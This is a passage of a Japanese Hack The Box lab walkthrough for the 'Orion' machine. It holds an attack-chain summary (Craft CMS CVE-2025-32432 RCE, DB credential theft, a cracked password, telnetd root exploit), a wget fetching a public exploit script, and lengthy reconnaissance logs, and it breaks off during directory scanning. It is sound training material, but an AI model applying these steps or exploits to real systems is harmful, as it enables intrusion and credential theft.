Orion (Not OSCP-Like)¶
Hack The Box Linux マシン Orion のウォークスルー。
Flag-Critical Knowledge¶
Meterpreter の getsystem はLinuxでは使えない¶
Meterpreter の getsystem は、Windows向けの権限昇格機能であり、Linuxに対しては使えない。
ターゲットがLinuxの場合は、getuid と sysinfo で現在の権限と環境を確認し、Linux の権限昇格手法を別途列挙する。
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
OS : Linux orion 5.15.0-177-generic x86_64
Meterpreter : php/linux
meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded
OSCP+ の Metasploit 制限¶
search は台数制限の対象外。check、Metasploit モジュール、Meterpreter は選択した1台だけに使用できる。
| 操作 | 制限 |
|---|---|
search |
検索のみ。対象ホストへ作用しない |
check |
選択した1台のみ |
| Auxiliary / Exploit / Post | 選択した1台のみ |
| Meterpreter payload | 選択した1台のみ |
exploit/multi/handler |
全ターゲットで使用可 |
msfvenom |
全ターゲットで使用可 |
GitHub のファイルは raw URL で取得する¶
GitHub のURLをダウンロード用URLへ変換する。github.com を raw.githubusercontent.com に変え、blob を削除する。
https://github.com/TheMursalin/CVE-2025-32432/blob/main/exploit.py
↓
wget https://raw.githubusercontent.com/TheMursalin/CVE-2025-32432/main/exploit.py
トリガー、攻撃パターン¶
公開 PoC が失敗する → Metasploit を CVE で検索¶
トリガー: SearchSploit や GitHub の PoC が、セッションCookieの取得失敗などで動作しない。
$ python 52525.py -u http://orion.htb/ -c whoami
[-] Failed to obtain PHPSESSID
攻撃パターン: PoC の修正に固執せず、Metasploit をCVE番号で検索する。Rank が excellent のモジュールがあれば有力。
msfconsole -q
msf6 > search cve:2025-32432
# Name Rank
0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 excellent
attack summary¶
orion.htb / Craft CMS 5.6.16
→ CVE-2025-32432 の事前認証 RCE
→ www-data shell
→ Craft の設定から DB 認証情報を取得
→ users テーブルから adam の bcrypt hash を取得
→ hashcat で adam:darkangel を復元
→ adam で SSH
→ user.txt
→ localhost 専用の telnetd (GNU inetutils 2.7) を発見
→ CVE-2026-24061 で root shell
→ root.txt
walkthrough(生メモ)¶
10.129.62.191
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ cat 10.129.62.191.nmap-sVC
# Nmap 7.95 scan initiated Thu Oct 22 22:56:45 2026 as: /usr/lib/nmap/nmap --privileged -sVC -p 22,80 -Pn -T4 -oN 10.129.62.191/10.129.62.191.nmap-sVC 10.129.62.191
Nmap scan report for 10.129.62.191
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 22 22:56:55 2026 -- 1 IP address (1 host up) scanned in 10.23 seconds
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
udp
└─$ cat 10.129.62.191.nmap-sU
# Nmap 7.95 scan initiated Thu Oct 22 22:56:55 2026 as: /usr/lib/nmap/nmap --privileged -sU -F -Pn -T4 -oN 10.129.62.191/10.129.62.191.nmap-sU 10.129.62.191
Warning: 10.129.62.191 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.62.191
Host is up (0.087s latency).
Not shown: 75 closed udp ports (port-unreach)
PORT STATE SERVICE
17/udp open|filtered qotd
19/udp open|filtered chargen
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open|filtered rpcbind
120/udp open|filtered cfdptkt
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
427/udp open|filtered svrloc
515/udp open|filtered printer
999/udp open|filtered applix
1645/udp open|filtered radius
1701/udp open|filtered L2TP
2049/udp open|filtered nfs
4444/udp open|filtered krb524
4500/udp open|filtered nat-t-ike
5060/udp open|filtered sip
5632/udp open|filtered pcanywherestat
32769/udp open|filtered filenet-rpc
49153/udp open|filtered unknown
49156/udp open|filtered unknown
49182/udp open|filtered unknown
49192/udp open|filtered unknown
65024/udp open|filtered unknown
# Nmap done at Thu Oct 22 22:58:09 2026 -- 1 IP address (1 host up) scanned in 73.81 seconds
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
ssh列挙
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
⇒列挙なし
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nmap --script ssh2-enum-algos,ssh-hostkey -p22 10.129.62.191
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-22 23:00 JST
Nmap scan report for 10.129.62.191
Host is up (0.089s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh2-enum-algos:
| kex_algorithms: (11)
| curve25519-sha256
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| sntrup761x25519-sha512@openssh.com
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group16-sha512
| diffie-hellman-group18-sha512
| diffie-hellman-group14-sha256
| kex-strict-s-v00@openssh.com
| server_host_key_algorithms: (4)
| rsa-sha2-512
| rsa-sha2-256
| ecdsa-sha2-nistp256
| ssh-ed25519
| encryption_algorithms: (6)
| chacha20-poly1305@openssh.com
| aes128-ctr
| aes192-ctr
| aes256-ctr
| aes128-gcm@openssh.com
| aes256-gcm@openssh.com
| mac_algorithms: (10)
| umac-64-etm@openssh.com
| umac-128-etm@openssh.com
| hmac-sha2-256-etm@openssh.com
| hmac-sha2-512-etm@openssh.com
| hmac-sha1-etm@openssh.com
| umac-64@openssh.com
| umac-128@openssh.com
| hmac-sha2-256
| hmac-sha2-512
| hmac-sha1
| compression_algorithms: (2)
| none
|_ zlib@openssh.com
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
Nmap done: 1 IP address (1 host up) scanned in 2.89 seconds
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
HTTP列挙
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
firefox 10.129.62.191
⇒
Hmm. We’re having trouble finding that site.
http://orion.htb/
に遷移する
名前解決を追加
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ tail -1 /etc/hosts
10.129.62.191 orion.htb orion
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
firefox orion.htb
ヘッダ
© 2026 Orion Telecom
Powered by CraftCMS
nginx[1.18.0]
Craft CMS
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit nginx 1.18.0
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit nginx 1.18
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit nginx 1
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalat | linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal | multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption | linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection | multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - D | linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal | multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection | multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download | windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service | windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass | multiple/remote/38846.txt
Nginx 1.20.0 - Denial of Service (DOS) | multiple/remote/50973.py
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) | linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) | linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force | linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow | linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution | php/webapps/47553.md
---------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ whatweb http://orion.htb
http://orion.htb [200 OK] Country[RESERVED][ZZ], Email[your.email@company.com], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.62.191], Open-Graph-Protocol, PoweredBy[CraftCMS], Script, Title[Orion Telecom], UncommonHeaders[x-robots-tag], X-Powered-By[Craft CMS], nginx[1.18.0]
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ curl -i http://orion.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 22 Oct 2026 14:10:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Robots-Tag: none
X-Powered-By: Craft CMS
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Orion Telecom provides carrier infrastructure, enterprise connectivity, and network operations services supporting critical communications networks worldwide.">
<meta property="og:title" content="Orion Telecom">
<meta property="og:description" content="Carrier infrastructure and enterprise connectivity services">
<meta property="og:image" content="assets/images/hero-network.jpg">
<meta name="twitter:card" content="summary_large_image">
<title>Orion Telecom</title>
<link rel="stylesheet" href="assets/css/style.css">
</head>
<body>
<!-- Navigation -->
<nav class="navbar" id="navbar">
<div class="nav-container">
<div class="nav-logo">
<div class="logo">
<svg viewBox="0 0 60 30">
<circle cx="8" cy="15" r="2"/>
<circle cx="20" cy="8" r="2"/>
<circle cx="32" cy="15" r="2"/>
<circle cx="44" cy="10" r="2"/>
<circle cx="54" cy="16" r="2"/>
<line x1="8" y1="15" x2="20" y2="8"/>
<line x1="20" y1="8" x2="32" y2="15"/>
<line x1="32" y1="15" x2="44" y2="10"/>
<line x1="44" y1="10" x2="54" y2="16"/>
</svg>
</div>
<span class="company-name">Orion Telecom</span>
</div>
<ul class="nav-links">
<li><a href="#home" class="nav-link">Home</a></li>
<li><a href="#services" class="nav-link">Services</a></li>
<li><a href="#solutions" class="nav-link">Solutions</a></li>
<li><a href="#about" class="nav-link">About</a></li>
<li><a href="#contact" class="nav-link">Contact</a></li>
</ul>
<button class="hamburger" id="hamburger">
<span></span>
<span></span>
<span></span>
</button>
</div>
</nav>
<!-- HERO -->
<section class="hero">
<svg class="stars" viewBox="0 0 1200 600">
<circle cx="100" cy="120" r="1"/>
<circle cx="340" cy="80" r="1.4"/>
<circle cx="500" cy="210" r="1"/>
<circle cx="720" cy="140" r="1.2"/>
<circle cx="960" cy="240" r="1"/>
<circle cx="1080" cy="120" r="1.5"/>
<circle cx="850" cy="420" r="1.2"/>
<circle cx="620" cy="500" r="1"/>
<circle cx="420" cy="430" r="1.2"/>
<circle cx="500" cy="210" r="1" fill="#cdb4ff"/>
<circle cx="720" cy="140" r="1.2" fill="#a0c4ff"/>
<circle cx="960" cy="240" r="1" fill="#bde0fe"/>
</svg>
<div class="hero-content">
<h1>Reliable Connectivity for Governments and Global Enterprises</h1>
<p>
Orion Telecom delivers secure, high-performance networks connecting government agencies, large corporations, and critical services. From fiber backbones to managed network operations, we ensure your communications never go down.
</p>
<a href="#services" class="cta">Explore Services</a>
</div>
</section>
<!-- Services -->
<section id="services" class="services">
<div class="section-container">
<h2 class="section-title">Services</h2>
<p class="section-subtitle">Infrastructure and operational support for high-availability networks</p>
<div class="cards-grid">
<article class="service-card">
<div class="card-image-wrapper">
<svg class="card-image" width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<path d="M20,100 C60,20 140,180 180,100" stroke="#4ef" stroke-width="3" fill="none" stroke-linecap="round"/>
<circle cx="40" cy="90" r="4" fill="#0ff"/>
<circle cx="80" cy="120" r="4" fill="#0ff"/>
<circle cx="120" cy="80" r="4" fill="#0ff"/>
<circle cx="160" cy="110" r="4" fill="#0ff"/>
</svg><div class="card-overlay"></div>
</div>
<div class="card-content">
<h3>Fiber Backbone</h3>
<p>
Our regional fiber backbone delivers high-capacity transport between enterprise networks, carrier exchanges, and infrastructure operators with redundant routing and low-latency connectivity.
</p>
</div>
</article>
<article class="service-card">
<div class="card-image-wrapper">
<svg class="card-image" width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<rect x="40" y="50" width="120" height="100" fill="#001" stroke="#0cf" stroke-width="2" rx="10"/>
<line x1="50" y1="60" x2="150" y2="60" stroke="#0cf" stroke-width="2"/>
<line x1="50" y1="80" x2="150" y2="80" stroke="#0cf" stroke-width="2"/>
<line x1="50" y1="100" x2="150" y2="100" stroke="#0cf" stroke-width="2"/>
<circle cx="100" cy="150" r="6" fill="#0cf"/>
<line x1="100" y1="150" x2="100" y2="110" stroke="#0cf" stroke-width="2"/>
</svg><div class="card-overlay"></div>
</div>
<div class="card-content">
<h3>Network Operations</h3>
<p>
Orion Telecom operates a 24/7 Network Operations Center responsible for monitoring backbone infrastructure, carrier interconnects, and managed customer environments.
</p>
</div>
</article>
<article class="service-card">
<div class="card-image-wrapper">
<svg class="card-image" width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<circle cx="60" cy="60" r="8" fill="#0ff"/>
<circle cx="140" cy="60" r="8" fill="#0ff"/>
<circle cx="100" cy="140" r="8" fill="#0ff"/>
<rect x="50" y="70" width="100" height="60" fill="#001" stroke="#0ff" stroke-width="2" rx="5"/>
<line x1="60" y1="60" x2="100" y2="70" stroke="#0ff" stroke-width="2"/>
<line x1="140" y1="60" x2="100" y2="70" stroke="#0ff" stroke-width="2"/>
<line x1="100" y1="140" x2="100" y2="130" stroke="#0ff" stroke-width="2"/>
</svg>
<div class="card-overlay"></div>
</div>
<div class="card-content">
<h3>Managed Infrastructure</h3>
<p>
Our engineering teams deploy and maintain distributed telecommunications infrastructure across enterprise environments, carrier facilities, and regional network exchanges.
</p>
</div>
</article>
</div>
</div>
</section>
<!-- Solutions -->
<section id="solutions" class="solutions">
<div class="section-container">
<h2 class="section-title">Solutions</h2>
<p class="section-subtitle">Connectivity platforms for enterprise, carrier, and public sector networks</p>
<div class="solutions-layout">
<div class="solution-featured">
<div class="solution-visual">
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<!-- Define cloud shape as mask -->
<defs>
<linearGradient id="cloudGradient" x1="0" y1="0" x2="0" y2="1">
<stop offset="0%" stop-color="#0ff"/>
<stop offset="100%" stop-color="#4ef"/>
</linearGradient>
<mask id="cloudMask">
<!-- White = visible, black = hidden -->
<rect x="0" y="0" width="200" height="200" fill="white"/>
<path d="M60,90 Q50,70 70,60 Q80,40 110,50 Q130,40 140,60 Q160,70 150,90 Q170,110 140,110 Q120,130 90,110 Q60,110 60,90 Z" fill="black"/>
</mask>
</defs>
<!-- Nodes -->
<circle cx="50" cy="160" r="6" fill="#4ef" />
<circle cx="100" cy="160" r="6" fill="#0ff" />
<circle cx="150" cy="160" r="6" fill="#4ef" />
<!-- Connections (lines) with mask applied -->
<g mask="url(#cloudMask)">
<line x1="100" y1="100" x2="50" y2="160" stroke="#0ff" stroke-width="2"/>
<line x1="100" y1="100" x2="100" y2="160" stroke="#0ff" stroke-width="2"/>
<line x1="100" y1="100" x2="150" y2="160" stroke="#0ff" stroke-width="2"/>
</g>
<!-- Glowing highlights on nodes -->
<circle cx="50" cy="160" r="4" fill="#0ff" opacity="0.6"/>
<circle cx="100" cy="160" r="4" fill="#0ff" opacity="0.6"/>
<circle cx="150" cy="160" r="4" fill="#0ff" opacity="0.6"/>
<!-- Cloud (on top, visible) -->
<path d="M60,90 Q50,70 70,60 Q80,40 110,50 Q130,40 140,60 Q160,70 150,90 Q170,110 140,110 Q120,130 90,110 Q60,110 60,90 Z" fill="url(#cloudGradient)" opacity="0.8"/>
</svg>
</div>
<div class="solution-content">
<h3>SD-WAN</h3>
<p>
Software-defined WAN architecture enabling centralized traffic control, secure site connectivity, and improved network visibility across distributed environments.
</p>
</div>
</div>
<div class="solution-featured solution-featured-alt">
<div class="solution-visual">
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<!-- Globe Circle -->
<circle cx="100" cy="100" r="80" stroke="#0ff" stroke-width="2" fill="none"/>
<!-- Longitude lines -->
<path d="M100,20 A80,80 0 0,1 100,180" stroke="#4ef" stroke-width="1.5"/>
<path d="M60,40 A80,80 0 0,1 140,160" stroke="#4ef" stroke-width="1.5"/>
<path d="M140,40 A80,80 0 0,1 60,160" stroke="#4ef" stroke-width="1.5"/>
<!-- Nodes -->
<circle cx="50" cy="50" r="5" fill="#0ff"/>
<circle cx="150" cy="50" r="5" fill="#0ff"/>
<circle cx="50" cy="150" r="5" fill="#0ff"/>
<circle cx="150" cy="150" r="5" fill="#0ff"/>
<!-- Connecting arcs -->
<path d="M50,50 Q100,100 150,50" stroke="#4ef" stroke-width="2" fill="none"/>
<path d="M50,150 Q100,100 150,150" stroke="#4ef" stroke-width="2" fill="none"/>
</svg>
</div>
<div class="solution-content">
<h3>Carrier Interconnection</h3>
<p>
Orion Telecom maintains direct interconnection with regional and international carriers, providing resilient routing and high-availability connectivity across multiple network providers.
</p>
</div>
</div>
<div class="solutions-layout">
<div class="solution-featured">
<div class="solution-visual">
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<!-- Central Hub -->
<rect x="90" y="90" width="20" height="20" fill="#0ff"/>
<!-- Vendor Blocks -->
<rect x="40" y="50" width="20" height="20" fill="#4ef"/>
<rect x="140" y="50" width="20" height="20" fill="#4ef"/>
<rect x="40" y="140" width="20" height="20" fill="#0ff"/>
<rect x="140" y="140" width="20" height="20" fill="#0ff"/>
<!-- Connections -->
<line x1="50" y1="60" x2="100" y2="100" stroke="#0ff" stroke-width="2"/>
<line x1="150" y1="60" x2="100" y2="100" stroke="#0ff" stroke-width="2"/>
<line x1="50" y1="150" x2="100" y2="100" stroke="#0ff" stroke-width="2"/>
<line x1="150" y1="150" x2="100" y2="100" stroke="#0ff" stroke-width="2"/>
<!-- Highlighted Glow -->
<circle cx="100" cy="100" r="12" fill="none" stroke="#4ef" stroke-width="2" opacity="0.5"/>
</svg>
</div>
<div class="solution-content">
<h3>Infrastructure Integration</h3>
<p>
Our integration platforms support infrastructure equipment vendors, technology partners, and service providers operating within large-scale network environments.
</p>
</div>
</div>
</div>
</div>
</section>
<!-- About -->
<section id="about" class="about">
<div class="section-container">
<h2 class="section-title">About Orion Telecom</h2>
<div class="about-content">
<p>
Orion Telecom is a telecommunications infrastructure provider, high-performance ISP and network operator serving governments, multinational corporations, and critical public services.
</p>
<p>
Our network architecture combines fiber infrastructure, carrier interconnection facilities, and centralized 24/7 network monitoring operations to support organizations with high availability and performance requirements.
</p>
<p>
Our networks support public safety systems, financial institutions, logistics operators, and large-scale enterprise environments, ensuring reliable communications every day.</p>
<p>
Through resilient infrastructure and continuous monitoring, Orion Telecom helps ensure stable network operations across complex and distributed connectivity environments.
</p>
</div>
</div>
</section>
<!-- Contact -->
<section id="contact" class="contact">
<div class="section-container">
<h2 class="section-title">Contact</h2>
<p class="section-subtitle">Enterprise sales, carrier partnerships, and infrastructure service inquiries</p>
<form class="contact-form" id="contactForm">
<div class="form-group">
<label for="name">Name</label>
<input type="text" id="name" name="name" required placeholder="Your name">
</div>
<div class="form-group">
<label for="email">Email</label>
<input type="email" id="email" name="email" required placeholder="your.email@company.com">
</div>
<div class="form-group">
<label for="message">Message</label>
<textarea id="message" name="message" rows="6" required placeholder="How can we help?"></textarea>
</div>
<button type="submit" class="submit-button">Submit</button>
<div id="formMessage" class="form-message"></div>
</form>
</div>
</section>
<!-- Footer -->
<footer class="footer">
<div class="footer-content">
<p>© 2026 Orion Telecom</p>
<p>Powered by CraftCMS</p>
</div>
</footer>
<script src="assets/js/main.js"></script>
</body>
</html>
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ dirsearch -u http://orion.htb/ -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
/usr/lib/python3/dist-packages/dirsearch/lib/core/fuzzer.py:280: SyntaxWarning: 'break' in a 'finally' block
break
/usr/lib/python3/dist-packages/pyparsing/core.py:5579: SyntaxWarning: 'return' in a 'finally' block
return f"{type(self).__name__}: {retString}"
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/htb/Orion/10.129.62.191/reports/http_orion.htb/__26-10-22_23-11-28.txt
Target: http://orion.htb/
[23:11:28] Starting:
[23:11:32] 403 - 564B - /.git
[23:11:32] 403 - 564B - /.git-credentials
[23:11:32] 403 - 564B - /.git-rewrite/
[23:11:32] 403 - 564B - /.git/branches/
[23:11:32] 403 - 564B - /.git.json
[23:11:32] 403 - 564B - /.git/
[23:11:32] 403 - 564B - /.git/COMMIT_EDITMSG
[23:11:32] 403 - 564B - /.git/FETCH_HEAD
[23:11:32] 403 - 564B - /.git/description
[23:11:32] 403 - 564B - /.git/config
[23:11:32] 403 - 564B - /.git/HEAD
[23:11:32] 403 - 564B - /.git/head
[23:11:32] 403 - 564B - /.git/hooks/
[23:11:32] 403 - 564B - /.git/hooks/commit-msg
[23:11:32] 403 - 564B - /.git/hooks/applypatch-msg
[23:11:32] 403 - 564B - /.git/hooks/post-update
[23:11:32] 403 - 564B - /.git/hooks/pre-applypatch
[23:11:32] 403 - 564B - /.git/hooks/pre-commit
[23:11:32] 403 - 564B - /.git/hooks/pre-push
[23:11:32] 403 - 564B - /.git/hooks/pre-rebase
[23:11:32] 403 - 564B - /.git/hooks/pre-receive
[23:11:32] 403 - 564B - /.git/hooks/update
[23:11:32] 403 - 564B - /.git/hooks/prepare-commit-msg
[23:11:32] 403 - 564B - /.git/index
[23:11:32] 403 - 564B - /.git/info/attributes
[23:11:32] 403 - 564B - /.git/info/
[23:11:32] 403 - 564B - /.git/info/exclude
[23:11:32] 403 - 564B - /.git/info/refs
[23:11:32] 403 - 564B - /.git/logs/
[23:11:32] 403 - 564B - /.git/logs/HEAD
[23:11:32] 403 - 564B - /.git/logs/head
[23:11:32] 403 - 564B - /.git/logs/refs
[23:11:32] 403 - 564B - /.git/logs/refs/heads
[23:11:32] 403 - 564B - /.git/logs/refs/heads/master
[23:11:32] 403 - 564B - /.git/logs/refs/remotes
[23:11:32] 403 - 564B - /.git/logs/refs/remotes/origin
[23:11:32] 403 - 564B - /.git/logs/refs/remotes/origin/HEAD
[23:11:32] 403 - 564B - /.git/objects/info/packs
[23:11:32] 403 - 564B - /.git/logs/refs/remotes/origin/master
[23:11:32] 403 - 564B - /.git/objects/
[23:11:32] 403 - 564B - /.git/packed-refs
[23:11:32] 403 - 564B - /.git/refs/
[23:11:32] 403 - 564B - /.git/refs/heads
[23:11:32] 403 - 564B - /.git/refs/heads/master
[23:11:32] 403 - 564B - /.git/refs/remotes
[23:11:32] 403 - 564B - /.git/refs/remotes/origin/HEAD
[23:11:32] 403 - 564B - /.git/refs/remotes/origin
[23:11:32] 403 - 564B - /.git/refs/remotes/origin/master
[23:11:32] 403 - 564B - /.git2/
[23:11:32] 403 - 564B - /.git/refs/tags
[23:11:32] 403 - 564B - /.gitchangelog.rc
[23:11:32] 403 - 564B - /.gitattributes
[23:11:32] 403 - 564B - /.git_release
[23:11:32] 403 - 564B - /.gitconfig
[23:11:32] 403 - 564B - /.github/
[23:11:32] 403 - 564B - /.github/ISSUE_TEMPLATE.md
[23:11:32] 403 - 564B - /.github/PULL_REQUEST_TEMPLATE.md
[23:11:32] 403 - 564B - /.github/workflows/blank.yml
[23:11:32] 403 - 564B - /.github/workflows/ci.yml
[23:11:32] 403 - 564B - /.github/workflows/docker.yml
[23:11:32] 403 - 564B - /.github/workflows/dependabot.yml
[23:11:33] 403 - 564B - /.github/workflows/master.yml
[23:11:33] 403 - 564B - /.gitignore
[23:11:33] 403 - 564B - /.github/workflows/nodejs.yml
[23:11:33] 403 - 564B - /.github/workflows/maven.yml
[23:11:33] 403 - 564B - /.github/workflows/publish.yml
[23:11:33] 403 - 564B - /.gitignore.orig
[23:11:33] 403 - 564B - /.gitignore.swp
[23:11:33] 403 - 564B - /.gitignore/
[23:11:33] 403 - 564B - /.gitignore_global
[23:11:33] 403 - 564B - /.gitk
[23:11:33] 403 - 564B - /.gitkeep
[23:11:33] 403 - 564B - /.gitignore~
[23:11:33] 403 - 564B - /.gitlab
[23:11:33] 403 - 564B - /.gitlab-ci.off.yml
[23:11:33] 403 - 564B - /.gitlab-ci.yml
[23:11:33] 403 - 564B - /.gitlab-ci/.env
[23:11:33] 403 - 564B - /.gitlab/merge_request_templates
[23:11:33] 403 - 564B - /.gitlab/issue_templates
[23:11:33] 403 - 564B - /.gitlab/route-map.yml
[23:11:33] 403 - 564B - /.gitreview
[23:11:33] 403 - 564B - /.gitmodules
[23:11:33] 403 - 564B - /.ht_wsr.txt
[23:11:33] 403 - 564B - /.htaccess.bak1
[23:11:33] 403 - 564B - /.htaccess.sample
[23:11:33] 403 - 564B - /.htaccess.orig
[23:11:33] 403 - 564B - /.htaccess.save
[23:11:33] 403 - 564B - /.htaccess_extra
[23:11:33] 403 - 564B - /.htaccess_sc
[23:11:33] 403 - 564B - /.htaccess_orig
[23:11:33] 403 - 564B - /.htaccessBAK
[23:11:33] 403 - 564B - /.htaccessOLD2
[23:11:33] 403 - 564B - /.htaccessOLD
[23:11:33] 403 - 564B - /.htm
[23:11:33] 403 - 564B - /.html
[23:11:33] 403 - 564B - /.htpasswd_test
[23:11:33] 403 - 564B - /.htpasswds
[23:11:33] 403 - 564B - /.httr-oauth
[23:11:57] 302 - 0B - /admin -> http://orion.htb/admin/login
[23:11:59] 302 - 0B - /admin/ -> http://orion.htb/admin/login
[23:11:59] 302 - 0B - /admin/admin -> http://orion.htb/admin/login
[23:12:00] 200 - 39KB - /admin/admin/login
[23:12:00] 302 - 0B - /admin/index -> http://orion.htb/admin/login
[23:12:01] 200 - 39KB - /admin/login
[23:12:26] 301 - 178B - /assets -> http://orion.htb/assets/
[23:12:26] 403 - 564B - /assets/
[23:13:11] 200 - 9KB - /index.html
[23:13:22] 302 - 0B - /logout -> http://orion.htb/
[23:13:22] 302 - 0B - /logout/ -> http://orion.htb/
[23:14:26] 418 - 53KB - /wp-admin
[23:14:26] 418 - 53KB - /wp-admin/
Task Completed
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ dirsearch -u http://orion.htb/assets -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
/usr/lib/python3/dist-packages/dirsearch/lib/core/fuzzer.py:280: SyntaxWarning: 'break' in a 'finally' block
break
/usr/lib/python3/dist-packages/pyparsing/core.py:5579: SyntaxWarning: 'return' in a 'finally' block
return f"{type(self).__name__}: {retString}"
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/htb/Orion/10.129.62.191/reports/http_orion.htb/_assets_26-10-22_23-17-35.txt
Target: http://orion.htb/
[23:17:35] Starting: assets/
CTRL+C detected: Pausing threads, please wait...
[q]uit / [c]ontinue: c
[23:18:52] 301 - 178B - /assets/css -> http://orion.htb/assets/css/
[23:19:14] 301 - 178B - /assets/images -> http://orion.htb/assets/images/
[23:19:20] 301 - 178B - /assets/js -> http://orion.htb/assets/js/
Task Completed
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ dirsearch -u http://orion.htb/assets/images -e php,txt,bak,zip,conf -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
